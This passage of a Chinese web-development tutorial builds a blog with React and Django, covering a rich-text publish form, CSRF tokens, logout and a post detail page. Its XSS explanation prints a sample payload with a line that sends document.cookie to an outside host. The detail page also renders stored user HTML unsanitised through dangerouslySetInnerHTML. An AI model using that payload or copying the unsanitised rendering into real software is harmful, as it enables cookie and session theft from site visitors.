                console.log('没有错,再看', title, content);
                //this.props.service.pub(title, content);
            }
        });
        // console.log(e.target);
        // let form = e.target;
        // const [title, content] = form;
        // console.log(title.value, content.value);
        // this.props.service.pub(title.value, content.value)
    }

    handleOk = e => {
        console.log(e);
        this.props.service.success = false;
    };

    handleCancel = e => {
        console.log(e);
        this.props.service.success = false;
    };

    render() {
        console.log('pub render ~~~~~')
        const layout = {
            labelCol: { span: 5 },
            wrapperCol: { span: 14 },
        };
        const tailLayout = {
            wrapperCol: { offset: 8, span: 16 },
        };
        const { getFieldDecorator } = this.props.form; // 这句很重要
        return (
            <div>
                <Modal
                    title="成功提交"
                    visible={this.props.service.success}
                    onOk={this.handleOk.bind(this)}
                    onCancel={this.handleCancel.bind(this)}>
                    <p>是否跳转到该内容的页面?</p>
                </Modal>
                <Form {...layout} onSubmit={this.handleSubmit.bind(this)}>
                    <Form.Item label="标题">
                        {
                            getFieldDecorator('title', {
                                rules: [
                                    { required: true, message: '请输入标题' },
                                    { min: 2, message: '标题至少应该有2个字' }
                                ],
                            })(<Input placeholder='请输入标题' />)
                        }

                    </Form.Item>
                    <Form.Item label="内容">
                        {
                            getFieldDecorator('content', {
                                rules: [
                                    { required: true, message: '请输入内容' }
                                ],
                            })(<Input.TextArea rows={4} placeholder='请输入内容' />)
                        }
                    </Form.Item>
                    <Form.Item wrapperCol={{ span: 12, offset: 5 }}>
                        <Button type="primary" htmlType="submit">
                            发布
                        </Button>
                    </Form.Item>
                </Form>
            </div>
        );
    }
}

const Pub = Form.create()(_Pub); // _Pub组件就有了this.props.form
export default Pub;

富文本编辑器

https://github.com/margox/braft-editor

安装插件

#使用yarn安装最新版本
yarn add braft-editor

#安装指定版本
yarn add [email protected]

#安装2.x.x最高版本
yarn add braft-editor@^2.3.1

#使用npm安装
npm install braft-editor --save

#组件使用
import BraftEditor from 'braft-editor';
import 'braft-editor/dist/index.css';

参考https://braft.margox.cn/demos/basic

修改component/pub.js文件

/*src/component/pub.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Form, Input, Button, Modal } from 'antd';
import BraftEditor from 'braft-editor'
import 'braft-editor/dist/index.css'

@inject({ service })
@observer // observer 必须紧紧靠着组件
class _Pub extends React.Component {

    componentDidMount() {
        // 异步设置编辑器内容
        setTimeout(() => {
            this.props.form.setFieldsValue({
                content: BraftEditor.createEditorState('<p>内容</p>') // 设置编辑器初始内容
            })
        }, 1000)
    }
    handleSubmit(e) {
        e.preventDefault(); // 阻止提交
        this.props.form.validateFields((err, values) => {
            if (!err) {
                console.log('没有错,再看', values.title, values.content.toHTML());
                this.props.service.pub(values.title, values.content.toHTML());
            }
        });
        // console.log(e.target);
        // let form = e.target;
        // const [title, content] = form;
        // console.log(title.value, content.value);
        // this.props.service.pub(title.value, content.value)
    }

    handleOk = e => {
        console.log(e);
        this.props.service.success = false;
    };

    handleCancel = e => {
        console.log(e);
        this.props.service.success = false;
    };

    render() {
        console.log('pub render ~~~~~')
        const layout = {
            labelCol: { span: 5 },
            wrapperCol: { span: 14 },
        };
        const tailLayout = {
            wrapperCol: { offset: 8, span: 16 },
        };
        const { getFieldDecorator } = this.props.form; // 这句很重要
        // 选择编辑器工具栏上的按钮
        const controls = ['bold', 'italic', 'underline', 'text-color', 'separator', 'link', 'separator', 'media']
        return (
            <div>
                <Modal
                    title="成功提交"
                    visible={this.props.service.success}
                    onOk={this.handleOk.bind(this)}
                    onCancel={this.handleCancel.bind(this)}>
                    <p>是否跳转到该内容的页面?</p>
                </Modal>
                <Form {...layout} onSubmit={this.handleSubmit.bind(this)}>
                    <Form.Item label="标题">
                        {
                            getFieldDecorator('title', {
                                rules: [
                                    { required: true, message: '请输入标题' },
                                    { min: 2, message: '标题至少应该有2个字' }
                                ],
                            })(<Input placeholder='请输入标题' />)
                        }
                    </Form.Item>
                    <Form.Item label="文章正文">
                        {
                            getFieldDecorator('content', {
                                validateTrigger: 'onBlur',
                                rules: [{
                                    required: true,
                                    validator: (_, value, callback) => {
                                        if (value.isEmpty()) {
                                            callback('请输入正文内容')
                                        } else {
                                            callback()
                                        }
                                    }
                                }],
                            })(<BraftEditor
                                className='my-editor'
                                controls={controls}
                                placeholder='请输入正文内容'
                            />
                            )
                        }
                    </Form.Item>
                    <Form.Item wrapperCol={{ span: 12, offset: 5 }}>
                        <Button type="primary" htmlType="submit">
                            发布
                        </Button>
                    </Form.Item>
                </Form>
            </div>
        );
    }
}

const Pub = Form.create()(_Pub); // _Pub组件就有了this.props.form
export default Pub;

发布功能实现

目前服务器端采用的是禁用了csrf中间件,相当于全体不检查csrf,就开启黑名单机制,对某些函数要求必须通过Csrf验证。

由于是前后端分离项目,没有使用模板,所以服务器端必须提供一个接口,使得客户端可以获得csrftoken.

参考https://docs.djangoproject.com/zh-hans/2.2/ref/csrf/#ajaX

CSRF_USE_SESSIONS缺省是False,就是不在服务端session中存储:

CSRF_COOKIE_HTTPONLY缺省也是False,即可以通过客户端JS脚本访问到此csrf的cookie

装饰器
from django.views.decorators.csrf import csrf_protect
from django.views.decorators.csrf import csrf_exermpt
from django.views.decorators.csrf import ensure_csrf_cookie
  • @csrf_protect本质上把TsrfViewMiddleware当装饰器函数用,此中间件不对GET、HEAD、OPTIONS、TRACE方法检查csrf,其它方法例如POST就要检查
  • @csrf_exempt本质上把CsrfViewMiddleware当装饰器函数用,不过就是在检查时,如果发现csrf_exempt属性为True,CsrfViewMiddleware的process_viewi函数直接return None,去下一个
  • @ensure_csrf_cookie本质上把CsrfViewMiddleware当装饰器函数用。使用这个装饰器,确保在CsrfViewMiddleware的process_response中确保response被设置CSPRF的cookie

我们这一次注释掉了CsrfViewMiddleware中间件,使用上面的装饰器注释视图函数,相当于调用视图函数前,想把CsrfViewMiddleware当做函数来检查。这种使用方式只对被装饰的视图函数有效,中间件是检查所有请求和响应。

settings.py

CSRF_TRUSTED_ORIGINS = ['http://127.0.0.1:3000', 'http://localhost:3000']

user/views.py

from django.shortcuts import render
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.views.decorators.http import require_GET, require_POST, require_http_methods
# from django.contrib.auth.decorators import login_required  #写的非常好
from functools import wraps
from django.contrib.sessions.backends.db import SessionStore
import simplejson
from messages import Messages

@require_POST
def reg(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        print(type(payload), payload)
        username = payload.get('username')
        # 判断用户名是否存在?浏览器端有没有提醒过用户,永远不要相信客户端
        count = User.objects.filter(username=username).count()
        if count>0:
            return JsonResponse(Messages.USER_EXISTS)
        # 数据存储
        email = payload['email']
        password = payload['password']
        user = User.objects.create_user(username, email, password)
        print(type(user), user) # 一旦创建成功,登录成功看到的是User实例

        return JsonResponse({}, status=201)
        #return HttpResponse(content_type='application/json', status=201)
    except Exception as e:
        return JsonResponse(Messages.BAD_REQUEST, status=200)

# 验证码装饰器
def test_captcha(viewfunc):
    @wraps(viewfunc)
    def wrapper(request:HttpRequest, *args, **kwargs):
        try:
            payload = simplejson.loads(request.body)
            challenge = payload['challenge']
            key = payload['key']
            if challenge.lower() == CaptchaStore.objects.get(hashkey=key).response:
                return viewfunc(request, *args, **kwargs)
        except Exception as e:
            print(e)
        return JsonResponse(Messages.WRONG_CAPTCHA)
    return wrapper

@require_POST
#@test_captcha
def user_login(request:HttpRequest):
    try:
        payload = simplejson.loads(request.body)
        # 验证码判断 使用装饰器
        username = payload['username'] # 登录  该如何处理?
        password = payload['password']
        user = authenticate(username=username, password=password)
        print('='*30)
        if user and user.is_active: #用户密码正确
            login(request, user) # 各种后台jsp, php都习惯通过request.session取session值;user绑定到request上
            print('=*'*30)
            # 如果有必要,可以使用session保存一些信息
            session:SessionStore = request.session
            # session.set_expiry(60*60*24) # 设置过期时间,单位秒
            session['user_info'] = {
                'id': request.user.id,
                'username':request.user.username
            }
            return JsonResponse({}) # 使用了login函数,返回时就带着set-cookie,设置sessionid
        else:
            return JsonResponse(Messages.INVALID_USERNAME_OR_PASSWORD, status=200)
    except Exception as e:
        print(e)
        return JsonResponse(Messages.BAD_REQUEST, status=200)

def login_required(exclude_methods=None):
    def _login_required(viewfunc):
        # 参照django.contrib.auth.decorators.login_required
        @wraps(viewfunc)
        def wrapper(request, *args, **kwars):
            nonlocal exclude_methods
            print('=' * 30)
            method = request.method.lower()
            if exclude_methods is None:
                exclude_methods = []
            exclude_methods = [x.lower() for x in exclude_methods]
            if method in exclude_methods: # 不认证
                return viewfunc(request, *args, **kwars)
            else:
                if request.user.is_authenticated:
                    print('认证了')
                    return viewfunc(request, *args, **kwars)
                print('未认证通过')
                return HttpResponse(status=401)
        return wrapper
    if callable(exclude_methods): # 兼容之前调用,如果是无参调用就是函数,帮它往里面调用一层返回
        fn = exclude_methods
        exclude_methods = () # 表示没什么方法method要排除,都要认证
        return _login_required(fn)
    return _login_required

@login_required
# @login_required  # 等价于 user_logout = login_required(user_logout)
# @login_required(login_url='users/login') # 等价于 user_logout = login_required(login_url='users/login')(user_logout)
def user_logout(request:HttpRequest):
    logout(request) # request.session, request.user 清空当前用户登录状态,包括session和数据库django_session记录
    return HttpResponse('登出成功', status=200)

from captcha.models import CaptchaStore
from captcha.helpers import captcha_image_url

@require_GET
def get_captcha(request:HttpRequest):
    try:
        key = CaptchaStore.generate_key()
        image_url = captcha_image_url(key)
        return JsonResponse({'key':key, 'image_url':image_url})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)

post/urls.py

from django.urls import path
from .views import PostView, getpost
from user.views import login_required

urlpatterns = [
    path('', PostView.as_view()), # 排除get方法,get方法不认证
    path('<int:id>', getpost), # /posts/123
]

post/views.py 增加@method_decorator([login_required, csrf_protect]) 同时验证用户身份和csrftoken

from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
from django.views.decorators.csrf import csrf_protect, csrf_exempt, ensure_csrf_cookie
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages
from user.views import login_required
from django.utils.decorators import method_decorator
import math

def validate(d:dict,name:str,default,type_func,validate_func):
    try:
        ret = type_func(d.get(name,default))
        ret = validate_func(ret,default)
    except:
        ret = default
    return ret

# # login_required无参装饰器装饰视图函数的形式
# @method_decorator(login_required, name='dispatch')
class PostView(View):
    def get(self, request): # 方法名一定要小写 文章列表 /posts/?page=3&size=20
        # 页码  
        page = validate(request.GET,"page", 1, int, lambda x,y:x if x>0 and x <51 else y)
        # 每页条数
        #注意,这个数据不要轻易让浏览器端改变,如果允许改变,一定要控制范围
        size = validate(request.GET,"size", 20, int, lambda x,y:x if x>0 and x<101 else y)
        print(page, size)

        try:
            # 分页
            start = size*(page-1) # 如果第1天 size*(1-1)
            mgr = Post.objects
            total = mgr.count()
            posts = mgr.order_by('-pk')[start:start+size]

            return JsonResponse({
                'posts':[{'id':post.id, 'title':post.title} for post in posts],
                'pagination':{
                    'page':page,
                    'size':size,
                    'total':total, # 总共有多少个
                    'pages':math.ceil(total / size) # 总共有多少页 向上取整
                }
            })
        except Exception as e:
            print(e)
            return JsonResponse(Messages.BAD_REQUEST)
    # 必须登录
    # csrf_protect, csrf_exempt, ensure_csrf_cookie,都是直接装饰视图函数的
    # 上面3个装饰器函数,本质上都使用了同一个中间件,把中间件当作普通函数使用,
    # csrf_protect 需要必须进行csrf认证
    # csrf_exempt 不做csrf认证
    # ensure_csrf_cookie 在外层包住了确保视图函数在返回阶段
    @method_decorator([login_required, csrf_protect])
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405 发布
        try:
            payload = simplejson.loads(request.body)
            title = payload['title']
            C = payload['content']
            post = Post(title=title)
            content = Content()

            post.postdate = datetime.datetime.now(
                datetime.timezone(datetime.timedelta(hours=8))
            )
            # post.author_id = 2 #request.user.id
            post.author = request.user
            content.content = C

            with atomic():
                post.save()
                content.post  = post
                content.save()
            return JsonResponse({'post':{
                'id':post.id
            }})
        except Exception as e:
            return JsonResponse(Messages.BAD_REQUEST)

def getpost(request:HttpRequest, id:int):
    try:
        post = Post.objects.get(pk=id)
        return JsonResponse({'post':{
            'id':post.pk,
            'title':post.title,
            'postdate':post.postdate,
            'author_id':post.author_id,
            'author':post.author.username,
            'content':post.content.content
        }})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)   
后端-产生cookie

csrf: https://docs.djangoproject.com/en/5.2/ref/csrf/

目前,认证、csrf_protected通用,双cookie验证

  1. 如果在浏览器端获取到cookie, csrftoken

    必须在提交数据前,先获得此cookie,就要先访问一个接口,接口对应一个视图函数,被装饰,保证能返回一个csrftoken的cookie

  2. 发送所有的数据,带来cookie带上自定义头,

blog/urls.py 增加获取token函数

from django.contrib import admin
from django.urls import path, include
# from django.shortcuts import HttpResponse #WSGI快捷方法,还可以从django.http中导入
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.template.loader import get_template
from django.shortcuts import render
# HttpRequest是父类;WSGIRequest是子类

from datetime import datetime

def index(request:HttpRequest):
    context = {
        'a':100,
        'b':0,
        'c':list(range(10,20)),
        'd':dict(zip('abcde','ABCDE')), # d.e 没找到 d['e'] 没找到 d[e]
        's':'abcde',
        'date':datetime.now(),
    }
    # with open(r'D:\project\pyprojs\trae\blog10\user\index.html', encoding='utf-8') as f:
    #     txt = f.read()
    #     txt = txt.format(content)
    return render(request, 'index.html', {'mydict':context}, status=201)

def test(request, clz, uid):
    print('='*30)
    # print(request.path)
    print(clz, uid, type(clz), type(uid))
    print('='*30)
    return HttpResponse('abc~~~~')

from django.views.decorators.csrf import ensure_csrf_cookie
@ensure_csrf_cookie
def get_token(request):
    return HttpResponse()

urlpatterns = [
    path('gettoken', get_token), # /gettoken 获取一个csrftoken的cookie
    path('admin/', admin.site.urls),
    path('', index), # '/' => index函数
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
    path('test/<clz>/<int:uid>', test), # /test/tom/2 实参注入
    path('users/', include('user.urls')),  # /users
    path('posts/', include('post.urls')),  # /posts
    path('captcha/', include('captcha.urls')), # /captcha/
]

访问 http://127.0.0.1:8000/gettoken 接口返回一个csrftoken的cookie值

前端-获取cookie

component/pub.js 增加调用获得token this.props.service.getToken();

/*src/component/pub.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Form, Input, Button, Modal } from 'antd';
import BraftEditor from 'braft-editor'
import 'braft-editor/dist/index.css'

@inject({ service })
@observer // observer 必须紧紧靠着组件
class _Pub extends React.Component {

    componentDidMount() {
        // 异步设置编辑器内容
        setTimeout(() => {
            this.props.form.setFieldsValue({
                content: BraftEditor.createEditorState('<p>内容</p>') // 设置编辑器初始内容
            })
        }, 1000)
        this.props.service.getToken();
    }
    handleSubmit(e) {
        e.preventDefault(); // 阻止提交
        this.props.form.validateFields((err, values) => {
            if (!err) {
                console.log('没有错,再看', values.title, values.content.toHTML());
                this.props.service.pub(values.title, values.content.toHTML());
            }
        });
        // console.log(e.target);
        // let form = e.target;
        // const [title, content] = form;
        // console.log(title.value, content.value);
        // this.props.service.pub(title.value, content.value)
    }

    handleOk = e => {
        console.log(e);
        this.props.service.success = false;
    };

    handleCancel = e => {
        console.log(e);
        this.props.service.success = false;
    };

    render() {
        console.log('pub render ~~~~~')
        const layout = {
            labelCol: { span: 5 },
            wrapperCol: { span: 14 },
        };
        const tailLayout = {
            wrapperCol: { offset: 8, span: 16 },
        };
        const { getFieldDecorator } = this.props.form; // 这句很重要
        // 选择编辑器工具栏上的按钮
        const controls = ['bold', 'italic', 'underline', 'text-color', 'separator', 'link', 'separator', 'media']
        return (
            <div>
                <Modal
                    title="成功提交"
                    visible={this.props.service.success}
                    onOk={this.handleOk.bind(this)}
                    onCancel={this.handleCancel.bind(this)}>
                    <p>是否跳转到该内容的页面?</p>
                </Modal>
                <Form {...layout} onSubmit={this.handleSubmit.bind(this)}>
                    <Form.Item label="标题">
                        {
                            getFieldDecorator('title', {
                                rules: [
                                    { required: true, message: '请输入标题' },
                                    { min: 2, message: '标题至少应该有2个字' }
                                ],
                            })(<Input placeholder='请输入标题' />)
                        }
                    </Form.Item>
                    <Form.Item label="文章正文">
                        {
                            getFieldDecorator('content', {
                                validateTrigger: 'onBlur',
                                rules: [{
                                    required: true,
                                    validator: (_, value, callback) => {
                                        if (value.isEmpty()) {
                                            callback('请输入正文内容')
                                        } else {
                                            callback()
                                        }
                                    }
                                }],
                            })(<BraftEditor
                                className='my-editor'
                                controls={controls}
                                placeholder='请输入正文内容'
                            />
                            )
                        }
                    </Form.Item>
                    <Form.Item wrapperCol={{ span: 12, offset: 5 }}>
                        <Button type="primary" htmlType="submit">
                            发布
                        </Button>
                    </Form.Item>
                </Form>
            </div>
        );
    }
}

const Pub = Form.create()(_Pub); // _Pub组件就有了this.props.form
export default Pub;
前端-服务层改进

AJAX : https://docs.djangoproject.com/en/3.2/ref/csrf/#ajax

yarn add js-cookie

service/post.js 服务层代码中增加两个特殊的头部。

/*service/post.js*/
import axios from "../axios";
import { observable } from "mobx";
import { message } from 'antd';
import Cookies from 'js-cookie';

class PostService {
    @observable success = false;

    pub(title, content) {
        console.log('去处理', title, content); // Ajax axios xmlhttprequest

        axios.post({
            url:'/posts/',
            data:{title, content},
            config: {
                headers: {'X-CSRFToken': Cookies.get('csrftoken')} // 本域 HTTP_X_CSRFTOKEN
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                message.info('博文提交成功');
                // 增强,确认是否跳转
                this.success = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    getToken() {
        axios.get({
            url:'/gettoken',
        }).then(
            value => {
                console.log('成功获取token', Cookies.get('csrftoken'))
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
}

const postService = new PostService();
export {postService}

测试发布文章。

登出

设置profile组件页面, 包含登出连接

/*src/component/profile.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { userService as service } from '../service/user';
import { observer } from 'mobx-react';
import { inject } from '../utils';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class Profile extends React.Component {
    constructor(props) {
        super(props);
    }

    handleClick(event) {
        event.preventDefault();
        this.props.service.logout();
    }

    render() {
        console.log('profile render ~~~~~')
        if (!this.props.service.isLogin) {
            return <Redirect to='/login' />
        }
        return (
            <h2>用户信息: <br /><a onClick={this.handleClick.bind(this)}>[登出]</a></h2>
        );
    }
}

src/index.js 将/profile转到profile页面

/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
import Pub from './component/pub';

import { Menu, Icon, Layout } from 'antd';
import Profile from './component/profile';
const { Header, Content, Footer } = Layout;

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="pub"><Link to="/pub"><Icon type="edit" />写博客</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route path="/pub" component={Pub}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<App />, document.getElementById('root'));

service/user.js 服务层增加登录接口 logout()

/*service/user.js*/
// import axios from 'axios';
import { observable } from "mobx";
import axios from "../axios";
import { message } from 'antd';

class UserService {
    @observable isLogin = false;
    @observable isReg = false;
    @observable captcha = {};

    login(username, password, challenge, key) {
        console.log(username, password, challenge, key); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/login',
            data:{username, password, challenge, key}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isLogin = true;
            },
            reason => {
                console.log(reason);
                // window.alert(reason.msg);
                message.warning(reason.msg, 8); // 8秒消失
            }
        );
    }

    reg(username, email, password) {
        console.log(username, email, password); // Ajax axios xmlhttprequest

        axios.post({
            url:'/users/',
            data:{username, email, password}
        }).then(
            value => {
                console.log('成功了!!!!', value)
                this.isReg = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg);
            }
        );
    }

    getCaptcha() {
        axios.get({
            url:'/users/getcaptcha',
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = value;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg);
            }
        );
    }

    captchaRefresh() {
        axios.get({
            url:'/captcha/refresh/',
            config:{
                headers: {'X-Requested-With': 'XMLHttpRequest'} // 增加一个头,让后台理解为is_ajax()
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                // {'key':key, 'image_url':image_url}
                value.image_url = '/api' + value.image_url;
                this.captcha = {image_url:value.image_url, key:value.key};
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg);
            }
        );
    }

    logout(){
        axios.get({url:'/users/logout'}).then(
            value => {
                console.log('成功登出');
                this.isLogin = false;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg);
            }
        );
    }
}

const userService = new UserService();
export {userService}

测试功能,先登录,点登出,浏览器观察session会被删除。发布博文,返回401状态码。

csrf保护

服务器端Django程序中,可以使用django.views.decorators.csrf.csrf.csrf_protect装饰器,但是它并不能直接修饰视图类的方法,会报错,官方建议使用django.utis.decorators.method_decorator来修饰csrf_protect.

method_decorator加在视图类的分发函数dispatch上,就在分发上控制之后的get、post等方法

#影响Postview所有方法
@method_decorator(csrf_protect, name='dispatch')
class PostView(View):
    def get(self, request):
        pass # 但是csrf_protect不管GET、HEAD方法

    def post(self, request):
        pass # post要检查csrf

加在post方法上就只影响post方法

class PostView(View):
    def get(self, request):
        pass

    @method_decorator(csrf_protect) # 只影响post
    def post(self, request):
        pass # post要检查csrf

method_decorator也可以这样用, method_decorator([装饰器1,装饰器2])

将我们自己写的login_required无参装饰器时就是装饰视图函数的,所以修改post/urls.py如下

class PostView(View):
    def get(self, request):
        pass

    # 必须登录
    # csrf_protect, csrf_exempt, ensure_csrf_cookie,都是直接装饰视图函数的
    # 上面3个装饰器函数,本质上都使用了同一个中间件,把中间件当作普通函数使用,
    # csrf_protect 需要必须进行csrf认证
    # csrf_exempt 不做csrf认证
    # ensure_csrf_cookie 在外层包住了确保视图函数在返回阶段
    @method_decorator([login_required, csrf_protect])
    def post(self, request):
        pass # post要检查csrf

详情页

component/detail.js 创建详情页组件

/*src/component/detail.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Card } from 'antd';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class Detail extends React.Component {

    constructor(props){
        super(props);
        // props.service.getPost();  // 文章id?
    }

    render() {
        console.log('detail render ~~~~~')
        const layout = {
            labelCol: { span: 5 },
            wrapperCol: { span: 14 },
        };
        const tailLayout = {
            wrapperCol: { offset: 8, span: 16 },
        };

        return (
            <div> detail~~~
            </div>
        );
    }
}

src/index.js 增加 posts 路由

import Detail from './component/detail';
<Route path="/posts/:id" component={Detail}></Route>
/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
import { BrowserRouter as Router, Switch, Route, Link } from "react-router-dom";
import Login from './component/login';
import Reg from './component/reg';
import Pub from './component/pub';

import { Menu, Icon, Layout } from 'antd';
import Profile from './component/profile';
import Detail from './component/detail';
const { Header, Content, Footer } = Layout;

const Home = props => <h2>Home</h2>;
const About = props => <h2>About</h2>;
const Default = props => <h2>缺省显示</h2>;
const Always = props => <h2>blog ©2008 Created by Jasper</h2>;

class App extends React.Component {
  state = {
    current: 'home',
  };

  handleClick = e => {
    console.log('click ', e);
    this.setState({
      current: e.key,
    });
  };
  render() {
    return <Router>
      <Layout className="layout">
        <Header>
          <Menu onClick={this.handleClick}
            theme="dark"
            mode="horizontal"
            defaultSelectedKeys={[this.state.current]}
            style={{ lineHeight: '64px' }}
          // selectedKeys={[this.state.current]}
          >
            <Menu.Item key="home"><Link to="/"><Icon type="home" />主页</Link></Menu.Item>
            <Menu.Item key="login"><Link to="/login"><Icon type="login" />登录</Link></Menu.Item>
            <Menu.Item key="reg"><Link to="/reg"><Icon type="form" />注册</Link></Menu.Item>
            <Menu.Item key="pub"><Link to="/pub"><Icon type="edit" />写博客</Link></Menu.Item>
            <Menu.Item key="about"><Link to="/about">关于</Link></Menu.Item>
          </Menu>
        </Header>
        <Content style={{ padding: '10px 50px' }}>
          <div style={{ background: '#fff', padding: 24, minHeight: 280 }}>
            <Switch>
              <Route exact path={["/", '/index']} component={Home}></Route>
              <Route path="/login" component={Login}></Route>
              <Route path="/reg" component={Reg}></Route>
              <Route path="/about" component={About}></Route>
              <Route path="/profile" component={Profile}></Route>
              <Route path="/pub" component={Pub}></Route>
              <Route path="/posts/:id" component={Detail}></Route>
              <Route component={Default}></Route>
            </Switch>
          </div>
        </Content>
        <Footer style={{ textAlign: 'center' }}>
          <Route component={Always}></Route>
        </Footer>
      </Layout>
    </Router>
  }
}
render(<App />, document.getElementById('root'));

访问 http://localhost:3000/posts/1 看一下效果

组件
# 安装日期处理库,带上时区处理
yarn add moment-timezone
// 没有数据
return <Empty />

如果使用了富文本编辑器,那么显示的时候,发现不能按照网页标签显示。

原因是为了安全,防止XSS攻击,React不允许直接按照HTML显示。

使用dangerouslySetlnnerHTML属性,这个名字提醒使用者很危险。

React也对dangerouslySetinnerHTML属性也做了处理。

<p>{content}</p>
修改为
<p dangerouslySetInnerHTML={{_html :content}}><</p>

component/detail.js 详情页组件

/*src/component/detail.js文件内容 */
import React from 'react';
import { Link, Redirect } from 'react-router-dom';
import { postService as service } from '../service/post';
import { observer } from 'mobx-react';
import { inject } from '../utils';
import { Card, Col, Empty, Row } from 'antd';
import mtz from 'moment-timezone';

@inject({ service })
@observer // observer 必须紧紧靠着组件
export default class Detail extends React.Component {

    constructor(props) {
        super(props);
        console.log(props); // props已经被react react-router改过了
        const { id = 0 } = props.match.params;
        props.service.getPost(id);  // 文章id?
    }

    render() {
        console.log('detail render ~~~~~')
        const {
            id, title, author, author_id, postdate, content
        } = this.props.service.post
        if (!id){
            return <Empty />
        }
        return (
            <Card title={title} >
                <Row style={{marginBottom:'20px'}}>
                    <Col  span={6} >{author}</Col>
                    <Col offset={10} span={7} style={{textAlign:'right'}}
                    >{mtz(postdate).tz('Asia/Shanghai').format('YYYY年M月D日')}</Col>
                </Row>
                {/* <p>{content}</p> */}
                <p dangerouslySetInnerHTML={{ __html: content }}></p>
            </Card>
        );
    }
}

service/post.js增加 getPost(id) 方法

/*service/post.js*/
import axios from "../axios";
import { observable } from "mobx";
import { message } from 'antd';
import Cookies from 'js-cookie';

class PostService {
    @observable success = false;
    @observable post = {};

    pub(title, content) {
        console.log('去处理', title, content); // Ajax axios xmlhttprequest

        axios.post({
            url:'/posts/',
            data:{title, content},
            config: {
                headers: {'X-CSRFToken': Cookies.get('csrftoken')} // 本域 HTTP_X_CSRFTOKEN
            }
        }).then(
            value => {
                console.log('成功了!!!!', value)
                message.info('博文提交成功');
                // 增强,确认是否跳转
                this.success = true;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }

    getToken() {
        axios.get({
            url:'/gettoken',
        }).then(
            value => {
                console.log('成功获取token', Cookies.get('csrftoken'))
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
    getPost(id) {
        axios.get({url:'/posts/'+id}).then(
            value => {
                console.log('成功了', value);
                this.post = value.post || {} ;
            },
            reason => {
                console.log(reason);
                message.warning(reason.msg || '错误,请联系管理员');
            }
        );
    }
}

const postService = new PostService();
export {postService}

数据详情页,可参考:https://ant.design/components/descriptions-cn

XSS

跨站脚本攻击(Cross Site Scripting),缩写为XSS

<div>这是一段测试脚本,包含一个弹出框的执行
<script>function a(){alert(1)} a()</script>
<div click="alert('xss hrefago')">这是一个链接触发的脚本</div>
<script>document.write('<img src="http://www.hadtker.com/grabbe.jsp?msg="'+ document.cookie +' width=16 height=16 border=0 />');</script>
</div>

在一个没有考虑XSS的网站,把上面的内容写入评论区提交后台,如果他人打开网页,评论区显示这段内容,就会执行脚本,设置无意的一个操作就触发了脚本代码并悄悄收集用户信息。例如评论中有一个好玩的图片。

文章列表页组件

创建component/list.js,创建List组件。在index.js中提交菜单项和路由。

注意List,小心和AntD的List冲突。

修改src/index.js文件

/*src/index.js*/
import React from 'react';
import { render } from 'react-dom';
